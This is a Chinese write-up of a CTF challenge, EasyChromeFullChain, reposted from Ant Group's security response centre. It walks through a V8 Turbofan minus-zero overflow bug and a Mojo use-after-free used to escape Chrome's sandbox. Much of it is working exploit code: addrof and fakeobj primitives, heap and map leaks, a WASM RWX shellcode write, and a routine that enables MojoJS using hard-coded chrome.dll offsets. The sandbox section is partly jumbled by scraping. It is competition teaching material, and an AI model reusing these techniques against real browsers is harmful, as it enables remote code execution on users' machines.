赛题源码:https://mega.nz/file/1zAERJ5R#M0R_7PAJhIailzqrYKTY-CR36F8J2vX6AYbVML0AHy4
前言
AntCTF x D^3CTF是由蚂蚁集团安全响应中心(AntSRC)携手三支“电子科大”队伍:杭电Vidar-Team、西电 L-Team 及成电 CNSS共同举办的CTF赛事,面向全球CTF战队开放。经过48小时激烈的角逐,本次大赛已经落下帷幕。
本次比赛,蚂蚁安全光年实验室受邀出了两道 RealWorld 类型的题目,两道题目经过额外90分钟加时赛依然无解。其中一道题名为 EasyChromeFullChain,重点考察选手的浏览器漏洞的利用能力。
V8部分是一个Turbofan 优化相关的漏洞,主要考察选手对 V8 Turbofan 引擎的理解以及 JIT 漏洞的利用技巧。沙箱部分是一个 Mojo 接口对象生命周期导致的 UAF 漏洞,主要考察选手对 C++ 对象生命周期的理解以及沙箱漏洞的利用技巧。
下面主要会分成两部分来讲解我们的利用过程,首先是利用V8引擎的漏洞来达成沙箱内的RCE,第二部分是利用一个沙箱的漏洞来穿透Chrome的沙箱,穿透沙箱之后选手只需要执行指定的程序即可获取到flag。首先介绍一下V8部分:
1. 漏洞root cause分析
bool CanOverflowSigned32(const Operator* op, Type left, Type right,
- Zone* type_zone) {
- // We assume the inputs are checked Signed32 (or known statically
- // to be Signed32). Technically, the inputs could also be minus zero, but
- // that cannot cause overflow.
+ TypeCache const* type_cache, Zone* type_zone) {
+ // We assume the inputs are checked Signed32 (or known statically to be
+ // Signed32). Technically, the inputs could also be minus zero, which we treat
+ // as 0 for the purpose of this function.
+ if (left.Maybe(Type::MinusZero())) {
+ left = Type::Union(left, type_cache->kSingletonZero, type_zone);
+ }
+ if (right.Maybe(Type::MinusZero())) {
+ right = Type::Union(right, type_cache->kSingletonZero, type_zone);
+ }
left = Type::Intersect(left, Type::Signed32(), type_zone);
right = Type::Intersect(right, Type::Signed32(), type_zone);
if (left.IsNone() || right.IsNone()) return false;
@@ -1484,7 +1490,8 @@
if (lower<T>()) {
if (truncation.IsUsedAsWord32() ||
!CanOverflowSigned32(node->op(), left_feedback_type,
- right_feedback_type, graph_zone())) {
+ right_feedback_type, type_cache_,
+ graph_zone())) {
ChangeToPureOp(node, Int32Op(node));
} else {
2. 如何构造漏洞利用原语
// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax
function foo(b) {
var x = -0;
var y = -0x80000000;
if (b) {
x = -1;
y = 1;
}
return (x - y) == -0x80000000;
}
for(let i = 0; i < 0x10000; i++)
foo(true);
console.log(foo(false));
2.2 构造addrof原语
function jit_func(a, target_obj) {
let b = -0;
var c = -0x80000000;
if (a) {
c = -(b = -1);
}
var d = ((b - c) == -0x80000000); //typer 以为b-c没有溢出,所以这里是Int32Sub, typer以为是False,实际是True
if (a) {
d = -1;
}
d = Math.floor(d); //typer以为是[-1, 0], 实际是[-1, 1]
d = d + 1; //typer以为是[0, 1], 实际是[0, 2]
d = d * 6; //typer以为是[0, 6], 实际是[0, 12]
let arr = [1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1];
arr2 = [target_obj, target_obj, target_obj, target_obj, target_obj, target_obj, target_obj, target_obj];
return Int64.fromDouble(arr[d]);
}
2.3 构造fake_obj原语
function fake_obj_internal(a, addr) {
let b = -0;
var c = -0x80000000;
if (a) {
c = -(b = -1);
}
var d = ((b - c) == -0x80000000); //typer 以为b-c没有溢出,所以这里是Int32Sub, typer以为是False,实际是True
if (a) {
d = -1;
}
d = Math.floor(d); //typer以为是[-1, 0], 实际是[-1, 1]
d = d + 1; //typer以为是[0, 1], 实际是[0, 2]
d = d * 6; //typer以为是[0, 6], 实际是[0, 12]
let double_arr = [1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1];
let tagged_arr = [foo, foo, foo, foo, foo, foo, foo, foo];
double_arr[d] = addr;
return tagged_arr;
}
var foo = {};
for (let i = 0; i < 0x10000; i++) {
fake_obj_internal(true, 2.2);
}
function fake_obj(addr32) {
return fake_obj_internal(false, u2d(addr32 + 1, addr32 + 1))
}
2.3.1 泄漏对象的map
function leak_ab_map(a) {
let b = -0;
var c = -0x80000000;
if (a) {
c = -(b = -1);
}
var d = ((b - c) == -0x80000000); //typer 以为b-c没有溢出,所以这里是Int32Sub, typer以为是False,实际是True
if (a) {
d = -1;
}
d = Math.floor(d); //typer以为是[-1, 0], 实际是[-1, 1]
d = d + 1; //typer以为是[0, 1], 实际是[0, 2]
d = d * 4; //typer以为是[0, 4], 实际是[0, 8]
let arr = [1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1];
let ab = new ArrayBuffer(0x1);
return Int64.fromDouble(arr[d]);
}
2.3.2 V8的compressed pointer机制
function leak_heap_high32(a) {
let b = -0;
var c = -0x80000000;
if (a) {
c = -(b = -1);
}
var d = ((b - c) == -0x80000000); //typer 以为b-c没有溢出,所以这里是Int32Sub, typer以为是False,实际是True
if (a) {
d = -1;
}
d = Math.floor(d); //typer以为是[-1, 0], 实际是[-1, 1]
d = d + 1; //typer以为是[0, 1], 实际是[0, 2]
d = d * 24; //typer以为是[0, 24], 实际是[0, 48]
d = d + 1; //typer以为是[1,25], 实际是[1, 49]
let arr = [1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1]; //arr.length == 32
let bigint_arr = new BigUint64Array(4);
return Int64.fromDouble(arr[d]);
}
for(let i = 0; i < 0x10000; i++) {
leak_heap_high32(true);
}
3. 从原语到任意代码执行
3.3 泄漏WASM的JIT区域的地址
//获取Wasm的JIT区域的地址
var wasmarr = [
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
0x01, 0x06, 0x01, 0x60, 0x01, 0x7f, 0x01, 0x7f,
0x02, 0x0b, 0x01, 0x02, 0x6a, 0x73, 0x03, 0x6d,
0x65, 0x6d, 0x02, 0x00, 0x01, 0x03, 0x02, 0x01,
0x00, 0x07, 0x0d, 0x01, 0x09, 0x68, 0x75, 0x67,
0x65, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x00, 0x00,
0x0a, 0x0d, 0x01, 0x0b, 0x00, 0x41, 0x00, 0x20,
0x00, 0x36, 0x02, 0x00, 0x41, 0x00, 0x0b,];
var wasm_ta = new Uint8Array(wasmarr);
var wasm_mod = new WebAssembly.Module(wasm_ta);
var my_memory = new WebAssembly.Memory({ initial: 1 });
var import_obj = { js: { mem: my_memory } }
var wasm_inst = new WebAssembly.Instance(wasm_mod, import_obj);
var huge_func = wasm_inst.exports.huge_func;
let wasm_inst_addr = addrof(wasm_inst);
let wasm_rwx_addr = heap_rw.read64(wasm_inst_addr + 0x68);
console.log("wasm_rwx addr:" + wasm_rwx_addr);
3.4 任意代码的执行
let shellcode = [0xcc, 0xcc, 0xcc, 0xcc];
assert(shellcode.length < 0x1000); //wasm rwx页面的长度为0x1000
for(let i = 0; i < shellcode.length; i++) {
arb_rw.write8(Add(wasm_rwx_addr, i), shellcode[i].charCodeAt(0));
}
huge_func();
AntNest
)的实现当中,接口的定义如下:module antctf.mojom;
interface AntNest {
Store(string data); // 在browser进程中存储数据
Fetch() => (string data); // 从browser中读取通过`Store`存储的数据
};
void AntNestImpl::Store(const std::string &data){
size_t depth = render_frame_host_->GetFrameDepth();
if(depth == 0 || depth > 10){
return;
}
size_t capacity = depth * 0x100;
size_t count = capacity < data.size() ? capacity : data.size();
container_.emplace(
std::make_pair(depth, data.substr(0, count))
);
}
void AntNestImpl::Fetch(FetchCallback callback){
size_t depth = render_frame_host_->GetFrameDepth();
if(depth == 0 || depth > 10){
std::move(callback).Run("error depth");
return;
}
auto it = container_.find(depth);
if(it == container_.end()){
std::move(callback).Run("not yet stored");
return;
}
std::move(callback).Run(it->second);
}
void RenderFrameHostImpl::CreateAntNest(
mojo::PendingReceiver<antctf::mojom::AntNest> receiver) {
mojo::MakeSelfOwnedReceiver(std::make_unique<AntNestImpl>(this),
std::move(receiver));
}
mojo::MakeSelfOwnedReceiver
对通信端点和接口对象进行了绑定,也就是说AntNestImpl
对象和生命周期是和通信管道的生命周期绑定了,这通常来讲也没什么问题。还有一个问题在于AntNestImpl
对象内部持有了一个RenderFrameHostImpl
的原始指针。AntNestImpl::AntNestImpl(
RenderFrameHost* render_frame_host)
: render_frame_host_(render_frame_host){}
class AntNestImpl : public antctf::mojom::AntNest{
public:
explicit AntNestImpl(RenderFrameHost* render_frame_host);
~AntNestImpl() override;
// antctf::mojom::AntNest
void Store(const std::string &data) override;
void Fetch(FetchCallback callback) override;
private:
RenderFrameHost* render_frame_host_; // <<<<<<<<<<<<<<<<<<< Raw Pointer
std::map<uint32_t, std::string> container_;
DISALLOW_COPY_AND_ASSIGN(AntNestImpl);
};
render_frame_host_
对应的frame先于AntNestImpl
对象被释放,那么AntNestImpl
对render_frame_host_
的解引用就会造成UAF。AntNestImpl::Store
和AntNestImpl::Fetch
中都调用了render_frame_hos
t_->Get
FrameDepth()
。1.在render frame中绑定一个AntNest
接口
2.释放该render frame
3.通过之前绑定的AntNest
接口调用store
或者fetch
方法
4.触发UAF
1.创建一个sub frame
2.在sub frame中绑定一个AntNest
接口
3.将该接口对象传递到main frame中以供后续调用
4.释放该sub frame
5.通过之前绑定的AntNest
接口调用store
或者fetch
方法
6.触发UAF
MojoJS
接口的函数:void RenderFrameImpl::DidCreateScriptContext(v8::Local<v8::Context> context,
int world_id) {
if ((enabled_bindings_ & BINDINGS_POLICY_MOJO_WEB_UI) && IsMainFrame() &&
world_id == ISOLATED_WORLD_ID_GLOBAL) {
// We only allow these bindings to be installed when creating the main
// world context of the main frame.
blink::WebContextFeatures::EnableMojoJS(context, true);
}
for (auto& observer : observers_)
observer.DidCreateScriptContext(context, world_id);
}
MojoJS
接口。MojoJS
需要做的事:RenderFrameImpl
对象是通过g_frame_map
这个全局对象完成的,这个map
中保存了当前render所有的RenderFrameImpl
对象,可以遍历该map
,为所有frame都开启MojoJS
就行了。function enable_mojo(oob){
print("[ enable mojo ]")
const kWindowWrapperTypeInfoOffset = 0x7e86298;
const kGFrameMapOffset = 0x8688e80;
const kEnabledBindingsOffset = 0x5ac;
const kEnabledMojoBindingOffset = 0x5b0;
const kIsMainFrameOffset = 0xc8;
let window_ptr = oob.obj2ptr(window);
print(" [*] window_ptr : 0x"+window_ptr.toString(16));
let v8_window_wrapper_type_info_ptr = oob.getUint64(Int64(window_ptr+0x10));
let chrome_dll_address = v8_window_wrapper_type_info_ptr - kWindowWrapperTypeInfoOffset;
print(" [*] chrome.dll address : 0x"+chrome_dll_address.toString(16));
print(" [*] v8 window warpper type info ptr: 0x"+v8_window_wrapper_type_info_ptr.toString(16));
let g_frame_map_ptr = chrome_dll_address + kGFrameMapOffset;
print(" [*] g_frame_map_ptr : 0x"+g_frame_map_ptr.toString(16))
if (oob.getUint64(Int64(g_frame_map_ptr)) != g_frame_map_ptr + 0x8) {
print(' [!] error finding g_frame_map');
return;
}
let begin_ptr = oob.getUint64(Int64(g_frame_map_ptr+8));
print(' [*] begin_ptr : ' + begin_ptr.toString(16));
//Traverse g_frame_map
while(true){
// content::RenderFrameImpl
let render_frame_ptr = oob.getUint64(Int64(begin_ptr + 0x28));
print(' [*] render_frame_ptr : ' + render_frame_ptr.toString(16));
{
let is_main_frame = oob.getUint8(Int64(render_frame_ptr + kIsMainFrameOffset));
print(' [*] is main frame: ' + is_main_frame.toString(16));
if(is_main_frame == 0){
print(" [!] not in main frame");
oob.setUint8(Int64(render_frame_ptr + kIsMainFrameOffset), 1);
}
}
let enabled_bindings = oob.getUint32(Int64(render_frame_ptr + kEnabledBindingsOffset));
print(' [*] enabled_bindings: 0b' + enabled_bindings.toString(2));
oob.setUint32(Int64(render_frame_ptr + kEnabledBindingsOffset), 2);
oob.setUint32(Int64(render_frame_ptr + kEnabledMojoBindingOffset), 1);
enabled_bindings = oob.getUint32(Int64(render_frame_ptr + kEnabledBindingsOffset));
print(' [*] new enabled_bindings: 0b' + enabled_bindings.toString(2));
let next = oob.getUint64(Int64(begin_ptr + 8));
if(next != 0){
begin_ptr = next;
continue;
}
break;
}
print(' [*] reloading');
}
sandbox::policy::SetCommandLineFlagsForSandboxType(command_line, 0)
来完成,参数中的command_line
指针保存在chrome.dll的数据段,可以通过调用Copy64
函数进行泄露。base::RepeatingCallback
等回调对象完成对任意函数的调用,要完成这个利用,需要伪造一个base::internal::BindState
对象,该对象中可以放入函数指针和函数参数,只要触发该回调即可完成函数调用。详情参考我前面提到的文章。BindState
对象?RenderFrameHostImpl
对象,在UAF触发时会对GetFrameDepth
函数进行调用,该函数是虚函数,所以现在可以进行任意虚函数调用。在Chrome中找到执行回调的虚函数并不难,这类虚函数需要对自己的某个callback成员调用Run
,而且逻辑足够简单,最好只有调用Run
这一条语句,在exp中我给出了一个:content::responsiveness::MessageLoopObserver::DidProcessTask
。BindState
对象,现阶段对于Browser进程可知的信息就只有一个chrome.dll的地址信息,然后就是一个被控制但是不知道地址的RenderFrameHostImpl
对象。所以需要进行堆地址的泄露,要完成泄露的目的也可以通过一些特殊的虚函数来完成,我在exp中使用了两个:content::WebContentsImpl::GetWakeLockContext
device::mojom::WakeLockContext* WebContentsImpl::GetWakeLockContext() {
if (!wake_lock_context_host_)
wake_lock_context_host_ = std::make_unique<WakeLockContextHost>(this);
return wake_lock_context_host_->GetWakeLockContext();
}
`anonymous namespace'::DictionaryIterator::Start
void Start() override {
DCHECK(!IsStarted());
dict_iterator_ = locker_.begin();
}
RFH
,首先content::WebContentsImpl::GetWakeLockContext
在RFH
内部分配了一个新对象,且新对象的内部持有当前RFH
对象的this
指针,然后`anonymous namespace'::DictionaryIterator::Start
会将RFH
某个成员的某个属性值赋值给RFH
的另一个成员。RFH
的this
指针写入到RFH
内部,而且RFH
是被控制的,所以可以将this
的值读取出来,这样就得到了一个被控制的且知道地址的内存。之后BindState
对象的伪造就可以在这块内存中进行。原文始发于微信公众号(蚂蚁安全响应中心):90分钟加时依然无解 | AntCTF x D^3CTF [EasyChromeFullChain] Writeup
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论